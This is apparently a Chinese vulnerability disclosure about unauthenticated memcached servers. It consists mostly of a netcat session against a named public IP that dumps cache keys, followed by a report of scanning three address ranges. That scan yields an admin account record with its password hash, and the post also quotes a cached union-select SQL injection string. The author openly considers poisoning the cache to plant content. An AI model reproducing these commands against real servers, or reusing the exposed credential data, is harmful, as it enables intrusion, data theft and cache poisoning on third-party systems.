memcached未作IP限制导致缓存数据可被攻击者控制

南坪竹子

前就看到这个漏洞，顾把php加速器换成EA的，端口也改了～

简要描述：

不正确的memcache配置会导致安全问题

详细说明：

C:>nc -vv 61.135.178.118 11211
61.135.178.118: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [61.135.178.118] 11211 (?) open
stats items
STAT items:4:number 1544729
STAT items:4:age 4772005
STAT items:5:number 101088
STAT items:5:age 18142497
STAT items:6:number 729610
STAT items:6:age 1410176
STAT items:7:number 1019924
STAT items:7:age 2873336
STAT items:8:number 1458432
STAT items:8:age 1503000
STAT items:9:number 155117
STAT items:9:age 600906
STAT items:10:number 159866
STAT items:10:age 1730665
STAT items:11:number 12428
STAT items:11:age 902232
STAT items:12:number 762
STAT items:12:age 7623799
END
stats cachedump 12 10
ITEM 176174226#me [1020 b; 1249516659 s]
ITEM 173853058#me [1053 b; 1249516659 s]
ITEM 184790733#me [1031 b; 1249516659 s]
ITEM 184189728#me [1047 b; 1249516659 s]
ITEM 184067484#me [1050 b; 1249516659 s]
ITEM 179228126#me [1043 b; 1249516659 s]
ITEM 180014248#me [1018 b; 1249516659 s]
ITEM 184112063#me [1024 b; 1249516659 s]
ITEM 171451939#me [1026 b; 1249516659 s]
ITEM 154896159#me [1038 b; 1249516659 s]
END

这是某博客的cache



浏览了一下得到的URL，确定是那个cache取到的数据。如果我replace一下，能不能挂点东西？

update：

扫描了3个C类，发现了更多有意思的东西，如passport之类:

get admin_user_admin
VALUE admin_user_admin 1 207
a:8:{s:3:”uid”;s:1:”1″;s:8:”username”;s:5:”admin”;s:6:”passwd”;s:32:”da2100201af
e5c13dcdbb197b65f8bab”;s:7:”regdate”;s:1:”0″;s:7:”logdate”;s:1:”0″;s:5:”logip”;s
:0:”";s:5:”intro”;s:0:”";s:5:”level”;s:2:”99″;}

还有cache的被人注入的SQL语句，ITEM adidas_time_date_product_day_clickcount_1299_and_1=2_union_select_1,user(),
version(),4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2
6,27,28,29,30,31,32,33 [1 b; 1261980551 s]，嘿嘿。